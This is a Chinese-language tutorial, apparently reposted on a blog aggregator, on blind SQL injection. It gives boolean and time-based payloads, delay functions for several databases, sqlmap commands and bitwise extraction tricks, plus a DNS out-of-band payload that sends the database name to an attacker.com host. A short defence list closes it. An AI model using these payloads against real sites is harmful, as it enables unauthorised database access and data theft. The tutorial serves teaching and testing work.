当前位置: 首页 > news >正文

SQL注入之盲注技术详解

SQL注入之盲注技术详解

  • 一、盲注基本概念
    • 盲注特点:
  • 二、盲注主要类型
    • 1. 布尔盲注
      • 判断依据:
    • 2. 时间盲注
      • 判断依据:
  • 三、布尔盲注详细技术
    • 1. 识别布尔盲注
    • 2. 数据提取技术
      • (1) 判断数据库类型
      • (2) 获取数据库名长度
      • (3) 逐字符获取数据库名
      • (4) 获取表名
      • (5) 自动化工具
  • 四、时间盲注详细技术
    • 1. 识别时间盲注
    • 2. 各数据库延时函数
    • 2. 数据提取技术
      • (1) 判断条件是否成立
      • (2) 逐位获取数据
      • (3) 使用case when语句
      • (4) 自动化工具
  • 五、盲注高级技巧
    • 1. 二分法加速盲注
    • 2. 位运算盲注
    • 3. DNS外带技术(OOB)
    • 4. 正则表达式盲注
  • 六、盲注防御措施

一、盲注基本概念

盲注(Blind SQL Injection)是一种特殊的SQL注入技术,当应用程序不会直接返回数据库错误信息或查询结果时使用。与常规注入不同,盲注需要通过应用程序的间接响应(如布尔状态、时间延迟)来推断数据。

盲注特点:

  • 无直接错误信息回显
  • 无查询结果直接显示
  • 需要通过逻辑判断或事件延迟获取数据
  • 攻击速度较慢但危害性相同

二、盲注主要类型

1. 布尔盲注

通过页面返回的真假状态判断SQL语句执行结果

判断依据:

  • 页面内容变化
  • http状态码变化
  • 返回数据长度变化

2. 时间盲注

通过数据库响应时间延迟判断SQL语句执行结果

判断依据:

  • 页面返回时间差异
  • 使用延时函数如sleep(),benchmark()

三、布尔盲注详细技术

1. 识别布尔盲注

测试语句:

id=1' and 1=1 --+  (返回正常页面)
id=1' and 1=2 --+  (返回异常或不同页面)

2. 数据提取技术

(1) 判断数据库类型

and (select count(*) from information_schema.tables)>0 -- MySQL
and (select count(*) from sysobjects)>0 -- SQL Server

(2) 获取数据库名长度

and length(database())=5 -- 判断当前数据库名长度是否为5

(3) 逐字符获取数据库名

and substr(database(),1,1)='a' -- 判断第一个字符是否为a
and ascii(substr(database(),1,1))=97 -- 判断第一个字符ASCII码是否为97(a)

(4) 获取表名

and (select count(*) from information_schema.tables where table_schema=database() and substr(table_name,1,1)='u')>0

(5) 自动化工具

使用sqlmap进行布尔盲注:

sqlmap -u "http://example.com/?id=1" --technique=B --dbs

四、时间盲注详细技术

1. 识别时间盲注

id=1' and sleep(5) --+  (观察响应是否延迟5秒)

2. 各数据库延时函数

数据库延时函数
MySQLSLEEP(5), BENCHMARK(1000000,MD5(1))
SQL ServerWAITFOR DELAY ‘0:0:5’
PostgreSQLpg_sleep(5)
OracleDBMS_LOCK.SLEEP(5)

2. 数据提取技术

(1) 判断条件是否成立

id=1' and if(ascii(substr(database(),1,1))=97,sleep(5),1) --+

(2) 逐位获取数据

id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(5),1) --+

(3) 使用case when语句

id=1' and (case when (ascii(substr(database(),1,1))=97) then sleep(5) else 1 end) --+

(4) 自动化工具

使用sqlmap进行时间盲注:

sqlmap -u "http://example.com/?id=1" --technique=T --dbs

五、盲注高级技巧

1. 二分法加速盲注

and ascii(substr(database(),1,1))>128  -- 高位判断
and ascii(substr(database(),1,1))>64   -- 中位判断
and ascii(substr(database(),1,1))>96   -- 低位判断

2. 位运算盲注

and (ascii(substr(database(),1,1))>>1)&1=1  -- 判断第一位

3. DNS外带技术(OOB)

-- MySQL (需要load_file权限)
and (select load_file(concat('\\\\',(select database()),'.attacker.com\\share\\')))

4. 正则表达式盲注

and (select database()) regexp '^a'  -- 判断数据库名是否以a开头

六、盲注防御措施

  1. 使用预编译语句
  2. 输入验证:
    白名单验证
    类型强制转换
  3. 错误处理:
    同意错误页面
    不返回详细错误信息
  4. 权限控制:
    最小权限原则
    禁用危险函数
  5. WAF防护:
    识别并拦截盲注特征
    频率限制

相关文章:

  • deepseek v3 0324实现工作流编辑器
  • 计算机专业考研科目及应试攻略
  • Linux下编译安装TIMPI
  • DuckDB统计实战:两步验证用户行为的关键假设
  • 蛋白质翻译后修饰之间的Crosstalk
  • 开源鸿蒙分布式软总线技术研究报告
  • VMware勒索加密恢复(vmdk勒索恢复)---惜分飞
  • # OpenCV实现人脸与微笑检测:从图像到视频的实战应用
  • Muduo网络库实现 [三] - Socket模块
  • 字符,日期函数
  • SQL WITH RECURSIVE 递归
  • 【区块链安全 | 第十八篇】类型之引用类型(二)
  • 开源深度学习框架PyTorch
  • 为什么要指针压缩,为什么能指针压缩?原理是什么?
  • 01小游戏
  • 3月31号
  • lib-zo,C语言另一个协程库,激活文件IO操作协程化
  • http知识点
  • 2025年浙江省中等职业学校职业能力大赛(学生技术技能类)“移动应用与开发”赛项技术文件
  • FFTW库在vs2022下编译lib库及在QT6.8中调用
  • 中石化第四建设有限公司网站/天津网站优化公司
  • 西安未央区网站建设/百度推广如何获取精准的客户
  • 金融网站策划方案/查询网入口
  • 我要浏览国外网站怎么做/链接是什么意思
  • 企业管理顾问东莞网站建设/网络营销做得比较成功的案例
  • 软件开发培训班哪个好/seo